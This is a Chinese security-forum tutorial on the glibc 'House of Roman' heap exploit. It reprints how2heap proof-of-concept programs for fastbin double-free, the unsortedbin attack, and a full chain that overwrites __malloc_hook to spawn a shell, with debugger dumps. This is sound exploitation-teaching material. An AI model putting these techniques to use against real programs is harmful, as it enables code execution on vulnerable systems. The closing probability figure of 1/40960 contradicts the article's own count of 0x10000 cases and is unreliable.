查看原文
其他

堆利用详解:the house of roman

selph 看雪学苑 2024-03-10



前言


介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,介绍了其中用到的两个部分fastbin dup和unsortedbin attack,探究了the house of roman的过程,概率的计算,如何爆破,鉴于原理简单和成功率极低,就不做额外实验了。

漏洞成因

use after freeheap overflow write

适用范围

2.23——2.29(libc 2.29:unsortedbin attack 失效)
◆可以edit after free
◆不需要泄露地址
◆需要爆破12 bit,成功的概率1/4096

利用原理

可以说这个技巧是fastbinattack + unsortedbin attack的组合技,利用思路如下:

◆申请chunk Achunk Bchunk Cchunk Dchunk B的大小为0x70
◆释放chunk B,使其进入到fastbin[0x70]
◆溢出写A,修改chunk Bsize,使其大小在unsortedbin范围
◆再次释放BB进入unsortedbin
◆部分写Bfd,使得fd指向malloc_hook-0x23
◆利用A的溢出写修正Bsize,连续分配两次0x70,即可分配到malloc_hook上方
◆触发unsortedbin attack,将__malloc_hook写为main_arena+88
◆部分写__malloc_hook的低三个字节,修改为one_gadget
◆再次malloc即可拿到shell

换个方式概况一下:
1.stage1 - fastbin dup;
2.stage2 - unsortedbin attack;
3.stage3 - 使用fastbin dup申请的chunk部分覆盖malloc_hook的值,使其指向one_gadgets等。

相关技巧

◆使用house of roman的时候,需要采用多线程爆破
◆可以使用其他方法代替,比如先攻击stdout泄露地址,使得爆破的成本降低

利用效果

◆执行one_gadget
◆绕过ASLR





[前置] 实验:how2heap - fastbin dup


实验环境:libc 2.35

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}

为了使用fastbin,首先是填充满tcachebin。

从fastbin申请3个chunk:A,B,C,按照顺序进行释放:A,B,A,完成对fastbin的双重释放,同一个chunk被释放两次,意味着在第二次被申请前可以修改chunk指针。

0x55555555b390 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b3a0 0x000055500000e6eb 0x0000000000000000 ....PU..........

0x55555555b3b0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x55555555b3c0 0x000055500000e6cb 0x0000000000000000 ....PU..........

0x55555555b3d0 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b3e0 0x0000000000000000 0x0000000000000000 ................

0x55555555b3f0 0x0000000000000000 0x0000000000020c11 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x55555555b390 —▸ 0x55555555b3b0 ◂— 0x55555555b390

接下来就可以控制fastbin的指针了。

探究:为什么可以 double-free ?

在_int_free中对fastbin处理里,有一个双重释放安全检查:

/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
// 如果该fastbin当前指向的chunk和要释放的chunk指针相同,报错,双重释放检测
// 只检测第一个chunk是否和要释放的chunk相同
if (__builtin_expect(old == p, 0))
malloc_printerr("double free or corruption (fasttop)");
// 指针加密
p->fd = PROTECT_PTR(&p->fd, old);
*fb = p;

这个检查和libc 2.23一样,只检查释放的fastbin链表中的第一个chunk和释放的chunk是否是同一个,是就表示为双重释放。

要触发这个检查,就需要连续释放两个同样的chunk到fastbin链表中,如果不是连续的,就会存在双重释放问题。




[前置] 实验:how2heap - unsortedbin attack


实验环境:libc 2.23

#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

首先是条件准备:需要一个 unsortedbin。

pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty

然后模拟漏洞情况,unsortedbin的bk被写入一个可控地址。

pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffdfa8 —▸ 0x602010 ◂— 0x0

stack_var-0x10地址内容:

pwndbg> dq &stack_var-2
00007fffffffdfa8 00000000004007c6 0000000000400890
00007fffffffdfb8 0000000000000000 0000000000602010 // 这个 0x602010 是局部变量p
00007fffffffdfc8 be4d3c756d8c1300 0000000000400890
00007fffffffdfd8 00007ffff7a2d840 0000000000000001

当再次申请内存的时候,触发unsortedbin相关的处理,导致fd的值被写入bk地址:

pwndbg> p/x stack_var
$2 = 0x7ffff7dd1b78

为什么会这样呢?

探究:源码分析断链处理过程

当fastbin,smallbin,largebin无法处理,且last remainder也无法处理,就会进入这里:

/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if (size == nb)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

这里的断链操作导致了unsortedbin attack得以实现。

新版本的修复:(略去tcachebin的处理)

/* remove from unsorted list */
// 断链
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

/* Take now instead of binning if exact fit */
// 如果大小刚好精准匹配,就分配
if (size == nb)
{
// 设置下一个chunk的prev_inuse标志
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
set_non_main_arena(victim);
...
// 返回分配的内存地址给用户
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
...
}

原先的断链得以实现任意写是因为:

unsorted_chunks(av)->bk = bck; // 把可控地址的bk写给unsortedbin头指针
bck->fd = unsorted_chunks(av); // 往可控地址的fd写入unsortedbin头指针

后来新增了一个条件判断:检查双链表完整性。

if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");

这意味着,要能通过安全检查,需要fd位置有arena对应的地址才行,而进行unsortedbin attack利用的目的是往fd位置写入arena对应的地址。

因此,这个利用手法失效,该检查于2.29版本被添加。




实验:how2heap - house_of_roman


实验环境:libc 2.23

#define _GNU_SOURCE /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.

Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman

POC written by Maxwell Dulin (Strikeout)
*/

// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

/*
The main goal of this technique is to create a **leakless** heap
exploitation technique in order to get a shell. This is mainly
done using **relative overwrites** in order to get pointers in
the proper locations without knowing the exact value of the pointer.

The first step is to get a pointer inside of __malloc_hook. This
is done by creating a fastbin bin that looks like the following:
ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
(with a relative overwrite) to point to __malloc_hook.

The next step is to run an unsorted bin attack on the __malloc_hook
(which is now controllable from the previous attack). Again, we run
the unsorted_bin attack by altering the chunk->bk with a relative overwrite.

Finally, after launching the unsorted_bin attack to put a libc value
inside of __malloc_hook, we use another relative overwrite on the
value of __malloc_hook to point to a one_gadget, system or some other function.

Now, the next time we run malloc we pop a shell! :)
However, this does come at a cost: 12 bits of randomness must be
brute forced (0.02% chance) of working.

The original write up for the *House of Roman* can be found at
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.





This technique requires the ability to edit fastbin and unsorted bin
pointers via UAF or overflow of some kind. Additionally, good control
over the allocations sizes and freeing is required for this technique.
*/

char* introduction = "\nWelcome to the House of Roman\n\n"
"This is a heap exploitation technique that is LEAKLESS.\n"
"There are three stages to the attack: \n\n"
"1. Point a fastbin chunk to __malloc_hook.\n"
"2. Run the unsorted_bin attack on __malloc_hook.\n"
"3. Relative overwrite on main_arena at __malloc_hook.\n\n"
"All of the stuff mentioned above is done using two main concepts:\n"
"relative overwrites and heap feng shui.\n\n"
"However, this technique comes at a cost:\n"
"12-bits of entropy need to be brute forced.\n"
"That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
puts(introduction);
init();


/*
Part 1: Fastbin Chunk points to __malloc_hook

Getting the main_arena in a fastbin chunk ordering is the first step.
This requires a ton of heap feng shui in order to line this up properly.
However, at a glance, it looks like the following:

First, we need to get a chunk that is in the fastbin with a pointer to
a heap chunk in the fd.
Second, we point this chunk to a pointer to LibC (in another heap chunk).
All of the setup below is in order to get the configuration mentioned
above setup to perform the relative overwrites. ";


Getting the pointer to libC can be done in two ways:
- A split from a chunk in the small/large/unsorted_bins
gets allocated to a size of 0x70.
- Overwrite the size of a small/large chunk used previously to 0x71.

For the sake of example, this uses the first option because it
requires less vulnerabilities.
*/

puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
puts("Setting up chunks for relative overwrites with heap feng shui.\n");

// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
uint8_t* fastbin_victim = malloc(0x60);

// Allocate this in order to have good alignment for relative
// offsets later (only want to overwrite a single byte to prevent
// 4 bits of brute on the heap).
malloc(0x80);

// Offset 0x100
uint8_t* main_arena_use = malloc(0x80);

// Offset 0x190
// This ptr will be used for a relative offset on the 'main_arena_use' chunk
uint8_t* relative_offset_heap = malloc(0x60);

// Free the chunk to put it into the unsorted_bin.
// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
free(main_arena_use);


/*
Get part of the unsorted_bin chunk (the one that we just freed).
We want this chunk because the fd and bk of this chunk will
contain main_arena ptrs (used for relative overwrite later).

The size is particularly set at 0x60 to put this into the 0x70 fastbin later.

This has to be the same size because the __malloc_hook fake
chunk (used later) uses the fastbin size of 0x7f. There is
a security check (within malloc) that the size of the chunk matches the fastbin size.
*/

puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk = malloc(0x60);

//// NOTE: This is NOT part of the exploit... \\\
// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


// We need the filler because the overwrite below needs
// to have a ptr in the fd slot in order to work.
//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
free(relative_offset_heap);

/*
Create a UAF on the chunk. Recall that the chunk that fastbin_victim
points to is currently at the offset 0x190 (heap_relative_offset).
*/
free(fastbin_victim);

/*

Now, we start doing the relative overwrites, since that we have
the pointers in their proper locations. The layout is very important to
understand for this.

Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70

bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main

Now, the relative overwriting begins:
Recall that fastbin_victim points to relative_offset_heap
(which is in the 0x100-0x200 offset range). The fastbin uses a singly
linked list, with the next chunk in the 'fd' slot.

By *partially* editing the fastbin_victim's last byte (from 0x90
to 0x00) we have moved the fd pointer of fastbin_victim to
fake_libc_chunk (at offset 0x100).

Also, recall that fake_libc_chunk had previously been in the unsorted_bin.
Because of this, it has a fd pointer that points to main_arena + 0x68.

Now, the fastbin looks like the following:
fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).


The relative overwrites (mentioned above) will be demonstrates step by step below.

*/


puts("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
puts("\
Fastbin 0x70 now looks like this:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.


/*
Now, we have a fastbin that looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)

We want the fd ptr in fake_libc_chunk to point to something useful.
So, let's edit this to point to the location of the __malloc_hook.
This way, we can get control of a function ptr.

To do this, we need a valid malloc size. Within the __memalign_hook
is usually an address that usually starts with 0x7f.
Because __memalign_hook value is right before this are all 0s,
we could use a misaligned chunk to get this to work as a valid size in
the 0x70 fastbin.

This is where the first 4 bits of randomness come into play.
The first 12 bits of the LibC address are deterministic for the address.
However, the next 4 (for a total of 2 bytes) are not.

So, we have to brute force 2^4 different possibilities (16)
in order to get this in the correct location. This 'location'
is different for each version of GLibC (should be noted).

After doing this relative overwrite, the fastbin looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).

*/

/*
Relatively overwrite the main_arena pointer to point to a valid
chunk close to __malloc_hook.

///// NOTE: In order to make this exploit consistent
(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\

In the actual attack, this values would need to be specific
to a version and some of the bits would have to be brute forced
(depending on the bits).
*/

puts("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

// The relative overwrite
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

// Two filler chunks prior to the __malloc_hook chunk in the fastbin.
// These are fastbin_victim and fake_libc_chunk.
puts("Get the fake chunk pointing close to __malloc_hook\n");
puts("\
In a real exploit, this would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");
malloc(0x60);
malloc(0x60);

// If the 4 bit brute force did not work, this will crash because
// of the chunk size not matching the bin for the chunk.
// Otherwise, the next step of the attack can begin.
uint8_t* malloc_hook_chunk = malloc(0x60);

puts("Passed step 1 =)\n\n\n");

/*
Part 2: Unsorted_bin attack

Now, we have control over the location of the __malloc_hook.
However, we do not know the address of LibC still. So, we cannot
do much with this attack. In order to pop a shell, we need
to get an address at the location of the __malloc_hook.

We will use the unsorted_bin attack in order to change the value
of the __malloc_hook with the address of main_arena + 0x68.
For more information on the unsorted_bin attack, review
https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.

For a brief overview, the unsorted_bin attack allows us to write
main_arena + 0x68 to any location by altering the chunk->bk of
an unsorted_bin chunk. We will choose to write this to the
location of __malloc_hook.

After we overwrite __malloc_hook with the main_arena, we will
edit the pointer (with a relative overwrite) to point to a
one_gadget for immediate code execution.

Again, this relative overwrite works well but requires an additional
1 byte (8 bits) of brute force.
This brings the chances of a successful attempt up to 12 bits of
randomness. This has about a 1/4096 or a 0.0244% chance of working.


The steps for phase two of the attack are explained as we go below.
*/

puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we do not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook for a \n\
relative overwrite later.\n");


// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.

uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate

puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);

/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\
However, for the sake of example, this has been calculated dynamically.
*/
__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;


// Use another relative offset to overwrite the ptr of the chunk->bk pointer.
// From the previous brute force (4 bits from before) we
// know where the location of this is at. It is 5 bytes away from __malloc_hook.
puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.

// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.

/*
Trigger the unsorted bin attack.
This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.

A few things do happen though:
- This makes the unsorted bin (hence, small and large too)
unusable. So, only allocations previously in the fastbin can only be used now.
- If the same size chunk (the unsorted_bin attack chunk)
is NOT malloc'ed, the program will crash immediately afterwards.
So, the allocation request must be the same as the unsorted_bin chunk.


The first point is totally fine (in this attack). But, in more complicated
programming, this can be an issue.
The second just requires us to do the same size allocaton as the current chunk.

*/

puts("Trigger the unsorted_bin attack\n");
malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

puts("Passed step 2 =)\n\n\n");
/*
Step 3: Set __malloc_hook to system

The chunk itself is allocated 19 bytes away from __malloc_hook.
So, we use a realtive overwrite (again) in order to partially overwrite
the main_arena pointer (from unsorted_bin attack) to point to system.

In a real attack, the first 12 bits are static (per version).
But, after that, the next 12 bits must be brute forced.

/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
*/

puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
puts("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point this to system or a one_gadget.\n\
Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
comes from.\n");
malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).

malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // The last 4 bits of this must be brute forced (done previously already).
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // The last byte is the remaining 8 bits that must be brute forced.
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.


// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.
// In a real example, you would probably want to use a one_gadget.
// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter
// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak.
// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.
puts("Pop Shell!");
malloc((long long)shell);

}

编译:注意需要添加**-ldl**参数!

gcc house_of_roman.c -g -o house_of_roman -ldl

the house of roman 是一种不需要leak的利用技巧,需要能够通过UAF或者overflow来修改fastbin和unsortedbin的指针。

步骤:

1.__malloc_hook 在 libc 2.34 中被移除

stage 1:fastbin dup -> __malloc_hook

主要目标是通过fastbin dup去拿到__malloc_hook附近的fake fastbin chunk
流程:
1.首先是申请4个chunk,2个fastbin size,2个normal size
2.释放1个normal size,再申请0x70大小的chunk,remainder出一个unsortedbin chunk
3.释放两个fastbin size chunk:

pwndbg> vis

0x603000 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbins[0x70][0]
0x603010 0x0000000000603190 0x687420726f46203a .1`.....: For th
0x603020 0x736f707275702065 0x69687420666f2065 e purpose of thi
0x603030 0x696f6c7078652073 0x6573206577202c74 s exploit, we se
0x603040 0x6172206568742074 0x6c6176206d6f646e t the random val
0x603050 0x6f206e6920736575 0x206f742072656472 ues in order to
0x603060 0x69687420656b616d 0x7369736e6f632073 make this consis

0x603070 0x0000000a746e6569 0x0000000000000091 ient............
0x603080 0x0000000000000000 0x0000000000000000 ................
0x603090 0x0000000000000000 0x0000000000000000 ................
0x6030a0 0x0000000000000000 0x0000000000000000 ................
0x6030b0 0x0000000000000000 0x0000000000000000 ................
0x6030c0 0x0000000000000000 0x0000000000000000 ................
0x6030d0 0x0000000000000000 0x0000000000000000 ................
0x6030e0 0x0000000000000000 0x0000000000000000 ................
0x6030f0 0x0000000000000000 0x0000000000000000 ................

0x603100 0x0000000000000000 0x0000000000000071 ........q.......
0x603110 0x00007ffff7dc7bf8 0x00007ffff7dc7bf8 .{.......{......
0x603120 0x0000000000000000 0x0000000000000000 ................
0x603130 0x0000000000000000 0x0000000000000000 ................
0x603140 0x0000000000000000 0x0000000000000000 ................
0x603150 0x0000000000000000 0x0000000000000000 ................
0x603160 0x0000000000000000 0x0000000000000000 ................

0x603170 0x0000000000000000 0x0000000000000021 ........!....... <-- unsortedbin[all][0]
0x603180 0x00007ffff7dc7b78 0x00007ffff7dc7b78 x{......x{......

0x603190 0x0000000000000020 0x0000000000000070 .......p....... <-- fastbins[0x70][1]
0x6031a0 0x0000000000000000 0x0000000000000000 ................
0x6031b0 0x0000000000000000 0x0000000000000000 ................
0x6031c0 0x0000000000000000 0x0000000000000000 ................
0x6031d0 0x0000000000000000 0x0000000000000000 ................
0x6031e0 0x0000000000000000 0x0000000000000000 ................
0x6031f0 0x0000000000000000 0x0000000000000000 ................

0x603200 0x0000000000000000 0x0000000000020e01 ................ <-- Top chunk

让fastbin fd指针指向有unsortedbin 指针的同大小chunk(模拟UAF漏洞)
计算偏移,修改其fd指针的最后2个字节指向相对地址__malloc_hook附件的fake fastbin chunk(0x7f bytes),再申请两次内存,让该fake chunk被申请走。

pwndbg> dq 0x00007ffff7dc7aed
00007ffff7dc7aed fff7dc6240000000 000000000000007f
00007ffff7dc7afd fff7caff64000000 fff7caff2100007f
00007ffff7dc7b0d 000000000000007f 0000000000000000
00007ffff7dc7b1d 0000000000000000 0000000000000000

pwndbg> x/xg &__malloc_hook
0x7fffffffdfa8: 0x00007ffff7dc7b10
这是 fastbin attack 的操作,如果有libc泄露,这里可以直接写入one_gadget drop shell,这里的操作是如何在没有libc泄露的情况下进行利用。

stage 2:unsortedbin attack -> __malloc_hook

计算__malloc_hook - 0x10所在地址,取出后2字节,写入unsortedbin chunk bk的第8第9字节上:

pwndbg> x/6xg __malloc_hook-0x10
0x7ffff7dc7b00 <__memalign_hook>: 0x00007ffff7caff64 0x00007ffff7caff21
0x7ffff7dc7b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dc7b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x603200 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0]
0x603210 0x00007ffff7dc7b78 0x00007ffff7dc7b00 x{.......{......
0x603220 0x0000000000000000 0x0000000000000000 ................
0x603230 0x0000000000000000 0x0000000000000000 ................
0x603240 0x0000000000000000 0x0000000000000000 ................
0x603250 0x0000000000000000 0x0000000000000000 ................
0x603260 0x0000000000000000 0x0000000000000000 ................
0x603270 0x0000000000000000 0x0000000000000000 ................
0x603280 0x0000000000000000 0x0000000000000000 ................

执行unsortedbin attack,使得__malloc_hook位置上被写入arena中的地址:

pwndbg> x/6xg __malloc_hook-0x10
0x7ffff7dc7b00 <__memalign_hook>: 0x00007ffff7caff64 0x00007ffff7caff21
0x7ffff7dc7b10 <__malloc_hook>: 0x00007ffff7dc7b78 0x0000000000000000
0x7ffff7dc7b20 <main_arena>: 0x0000000000000000 0x0000000000000000

pwndbg> x/gx 0x00007ffff7dc7b78
0x7ffff7dc7b78 <main_arena+88>: 0x00000000006032d0

stage 3:修改 system 到 __malloc_hook

使用stage1通过fastbin dup获取的chunk进行写入,修改__malloc_hook后几个字节,使其指向system函数:

pwndbg> x/4xg __malloc_hook-0x10
0x7ffff7dc7b00 <__memalign_hook>: 0x00007ffff7caff64 0x00007ffff7caff21
0x7ffff7dc7b10 <__malloc_hook>: 0x00007ffff7c75e2c 0x0000000000000000

pwndbg> x 0x00007ffff7c75e2c
0x7ffff7c75e2c <__libc_system>: 0x08ec8348fa1e0ff3

当再次调用malloc的时候,使用指向/bin/sh的参数去申请,即可drop shell

探究:为什么说概率是1/4096?怎么算的?

会影响地址位置是有两个机制:

1.PIE机制和编译有关,会让elf程序加载地址随机
2.ASLR机制和系统有关,会让libc加载地址也随机

在整个利用过程中通过部分覆盖libc地址的后几位,来实现的不需要leak libc地址完成利用,所以整个过程中会产生影响的就只有ASLR机制。

ASLR的随机是高位地址随机,低位地址固定,最后12位的内容是固定的,结合本例利用过程来分析:
1.在 fastbin dup 阶段,申请 fastbin fake chunk 的指针需要通过局部覆盖来得到,此时保存在fd指针里的unsortedbin地址为:0x00007ffff7dc7b78,我的目标fake chunk地址是0x00007ffff7dc7aed,后12字节的内容是不一样的,但是局部覆盖的单位是字节,会覆盖到后16位,而这个第13-16位的值是固定的吗?经过测试,不是固定的,这里有4位需要爆破。

2.在 unsortedbin attack 阶段,bk的指针需要局部覆盖得到,本例中原本的bk指针是:0x00007ffff7dc7b78,目标__malloc_hook地址是:0x00007ffff7dc7b00,最后8位不同,可以直接覆盖到,这里没啥影响

3.在最终修改__malloc_hook阶段,此时__malloc_hook中保存的地址是0x00007ffff7dc7b78,需要修改成one_gadget或者system地址

综上:仅仅在最后一步覆盖的时候就需要爆破12位,12位共有0x1000种情况,换成十进制就是4096,所以概率1/4096指的是这个阶段的爆破,但是在前面fastbin dup的时候还有4位需要爆破,从头到尾加起来,需要爆破的共16位,也就是0x10000种情况,那概率就是1/40960。




总结



如果题目是通过fork来创建子进程用于作答的话,那么子进程会复制父进程的内存,那就可以一点一点去爆破,很快可以爆破出来。

否则,每次都是随机的4+12位,只能是我们猜解一个答案,然后不断运行直到程序的随机地址roll出这个基地址,这概率也太低了。

这个house of技术的探究就到此为止了,不再寻找新的实践去研究。

参考资料(具体链接见原文)

◆[0]Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.github.io)
◆[1]House of Roman - CTF Wiki (ctf-wiki.org)
◆[2]how2heap/glibc_2.23/house_of_roman.c at master · shellphish/how2heap (github.com)
◆[3] [undefined reference to symbol ‘dlsym@@GLIBC_2.4‘ 解决_undefined reference to `dlsym-CSDN博客](https://blog.csdn.net/qq_44842973/article/details/107373190)
◆[4]House of Roman 实战 - 先知社区 (aliyun.com)
◆[5]【进程管理】fork之后子进程到底复制了父进程什么?- 知乎 (zhihu.com)
◆[6]House Of Roman-原理 | Pwn进你的心 (ywhkkx.github.io)
◆[7]堆利用详解:fastbin dup - 我可是会飞的啊 (kn0sky.com)
◆[8]堆利用详解:Unsortedbin Attack - 我可是会飞的啊 (kn0sky.com)




看雪ID:selph

https://bbs.kanxue.com/homepage-988863.htm

*本文为看雪论坛精华文章,由 selph 原创,转载请注明来自看雪社区



# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua




球分享

球点赞

球在看


点击阅读原文查看更多

继续滑动看下一个

堆利用详解:the house of roman

向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存